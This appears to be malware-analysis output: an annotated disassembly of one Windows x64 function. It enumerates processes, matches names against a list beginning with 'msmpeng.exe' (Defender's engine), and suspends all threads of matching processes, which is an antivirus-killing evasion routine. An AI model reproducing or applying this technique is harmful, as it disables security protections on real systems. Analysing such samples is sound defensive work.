Function at 0x140005b20
Capabilities:
Enumerate processes
Enumerate threads
Suspend thread

Disassembly:
push rbp
sub rsp, 0x480
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140005df9
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140005df0
mov qword [rsp + 0x490], rbx
mov qword [rsp + 0x498], rsi
mov qword [rsp + 0x4a0], rdi
mov qword [rsp + 0x4a8], r14
lea r14, str.msmpeng.exe
nop word [rax + rax]
lea rcx, [rsp + 0x6c]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140005ba0
test rax, rax
je 0x140005dba
lea rcx, [0x1400358b8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0x48]
cmp eax, dword [0x140045d0c]
je 0x140005dad
cmp eax, dword [0x140045d08]
je 0x140005dad
cmp eax, dword [0x1400458ec]
je 0x140005dad
cmp eax, dword [0x1400458e8]
je 0x140005dad
cmp eax, dword [0x1400458e0]
je 0x140005dad
cmp eax, dword [0x1400358b4]
je 0x140005dad
cmp eax, dword [0x140045afc]
je 0x140005dad
cmp eax, dword [0x140045af8]
je 0x140005dad
lea rcx, [0x1400358b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor edx, edx
lea rcx, [rsp + 0x280]
mov r8d, 0x1fe
call fcn.140007ee0
xor ecx, ecx
nop dword [rax + rax]
movzx eax, word [rsp + rcx + 0x6c]
mov word [rsp + rcx + 0x280], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140005c50
lea rcx, [rsp + 0x280]
call qword [sym.imp.USER32.dll_CharLowerW]
mov rcx, 0xffffffffffffffff
nop dword [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140005c80
test rcx, rcx
je 0x140005dba
xor ebx, ebx
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [r14 + rax*2], bx
jne 0x140005ca0
test rax, rax
je 0x140005dba
mov rcx, r14
nop word [rax + rax]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rcx + r8*2], 0
jne 0x140005cd0
mov rdx, rcx
lea rcx, [rsp + 0x280]
call fcn.140008ad8
test eax, eax
je 0x140005d15
inc ebx
mov rax, 0xffffffffffffffff
mov ecx, ebx
shl rcx, 6
add rcx, r14
inc rax
cmp word [rcx + rax*2], 0
jne 0x140005d01
test rax, rax
jne 0x140005cc0
jmp 0x140005dba
mov ecx, dword [rsp + 0x48]
call fcn.1400027a0
cmp eax, 1
je 0x140005dba
mov esi, dword [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005dba
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x1c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x140005da2
nop dword [rax]
cmp dword [rsp + 0x2c], esi
jne 0x140005d90
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x140005d90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140005d60
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005dba
lea rcx, [0x1400358b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rdx, [rsp + 0x40]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005b90
mov r14, qword [rsp + 0x4a8]
mov rdi, qword [rsp + 0x4a0]
mov rsi, qword [rsp + 0x498]
mov rbx, qword [rsp + 0x490]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x480
pop rbp
ret